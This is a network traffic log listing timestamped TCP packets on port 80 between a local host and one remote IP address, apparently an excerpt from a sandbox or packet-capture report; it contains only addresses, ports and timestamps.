Apr 23, 2024 08:39:58.898966074 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.898992062 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.899013996 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.899033070 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.899085045 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.899097919 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.899105072 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.899136066 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.899136066 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.899168015 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.899213076 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.899225950 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.899245977 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.899277925 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.899296045 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.899317026 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.899329901 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.899337053 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.899348974 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.899398088 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.899410963 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.899418116 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.899421930 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.899437904 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.899446011 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.899465084 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.899722099 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.899743080 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.899848938 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.899868011 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.899929047 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.899950027 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.900017977 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.900017977 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.900041103 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.900084019 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.900105953 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.900121927 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.900146008 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.900167942 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.900188923 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.900230885 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.900248051 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.900264978 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.900278091 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.900284052 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.900311947 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.900311947 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.900377035 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.900481939 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.900506973 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.900527000 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.900612116 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.900682926 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.900787115 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.900919914 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.900938988 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.900974035 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.900988102 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.900994062 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.901022911 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.901022911 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.901099920 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.901165009 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.901176929 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.901196003 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.901196957 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.901241064 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.901241064 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.901256084 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.901268005 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.901335001 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.901348114 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.901352882 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.901393890 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.901393890 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.901401997 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.901415110 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.901494026 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.901505947 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.901513100 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.901518106 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.901535034 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.901540041 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.901559114 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.901784897 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.901798010 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.901804924 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.901849985 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.901868105 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.902055025 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.902076960 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.902264118 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.902276039 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.902283907 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.902287006 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.902298927 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.902304888 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.902311087 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.902318954 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.902323008 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.902334929 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.902347088 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.902354956 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.902359962 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.902367115 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.902379990 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.902403116 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.902422905 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.902467966 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.902487993 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.902487993 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.902507067 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.902573109 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.902590990 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.902659893 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.902678967 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.902935028 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.902946949 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.902951956 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.902959108 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.902981997 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.902981997 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.903254032 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.903274059 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.903320074 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.903338909 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.903378010 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.903394938 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.903415918 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.903435946 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.903436899 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.903454065 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.903512955 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.903533936 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.903554916 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.903568029 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.903573990 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.903579950 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.903599024 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.903618097 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.903618097 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.903629065 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.903647900 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.903670073 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.903687000 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.903785944 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.903808117 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.903901100 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.903914928 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.903924942 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.903955936 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.903970003 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.903980970 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.903985977 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.903985977 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.904004097 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.904042959 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.904213905 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.904301882 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.904414892 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.904428005 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.904490948 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.904514074 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.904571056 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.904623032 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.904678106 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.904700994 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.904732943 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.904757023 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.904778957 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.904802084 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.904824018 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.904839993 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.904947996 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.904972076 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.905003071 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.905025005 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.905060053 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.905071974 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.905093908 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.905095100 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.905128002 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.905249119 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.905261993 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.905275106 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.905298948 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.905298948 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.905298948 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.905322075 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.905402899 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.905427933 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.905441999 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.905467033 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.905488968 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.905500889 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.905512094 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.905523062 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.905584097 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.905606985 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.905606985 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.905630112 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.905744076 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.905759096 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.905769110 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.905777931 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.905898094 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.905922890 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.905937910 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.905961990 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.905962944 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.905986071 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.906025887 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.906050920 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.906065941 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.906090021 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.906115055 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.906133890 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.906142950 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.906156063 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.906157970 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.906179905 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.906179905 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.906203032 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.906204939 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.906215906 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.906227112 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.906236887 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.906239033 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.906260967 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.906282902 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.906306028 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.906419992 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.906445026 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.906568050 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.906580925 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.906591892 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.906593084 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.906603098 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.906615973 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.906639099 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.906658888 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.906662941 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.906683922 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.906708956 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.906728983 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.906873941 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.906888962 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.906898022 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.906899929 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.906904936 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.906924963 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.906945944 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.906945944 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.906969070 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.906981945 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.906990051 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.906994104 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.907011986 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.907027006 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.907047033 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.907160997 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.907181025 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.907200098 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.907213926 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.907219887 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.907224894 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.907243967 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.907243967 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.907362938 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.907383919 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.907615900 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.907636881 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.907656908 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.907675982 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.907684088 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.907705069 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.907726049 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.907744884 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.907808065 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.907826900 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.907847881 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.907866955 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.907900095 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.907913923 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.907919884 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.907926083 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.907938004 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.907947063 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.907947063 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.908076048 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.908088923 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.908096075 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.908109903 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.908123016 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.908133984 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.908135891 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.908135891 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.908154011 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.908231974 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.908246040 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.908260107 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.908265114 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.908268929 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.908281088 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.908303022 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.908303976 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.908303976 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.908315897 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.908323050 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.908334017 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.908365011 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.908385038 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.908400059 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.908420086 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.908459902 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.908479929 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.908500910 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.908523083 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.908598900 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.908623934 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.908691883 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.908704996 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.908713102 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.908715010 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.908736944 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.908736944 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.908772945 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.908792973 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.908910990 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.908924103 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.908931017 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.908936024 CEST	80	49704	138.199.40.58	192.168.2.7
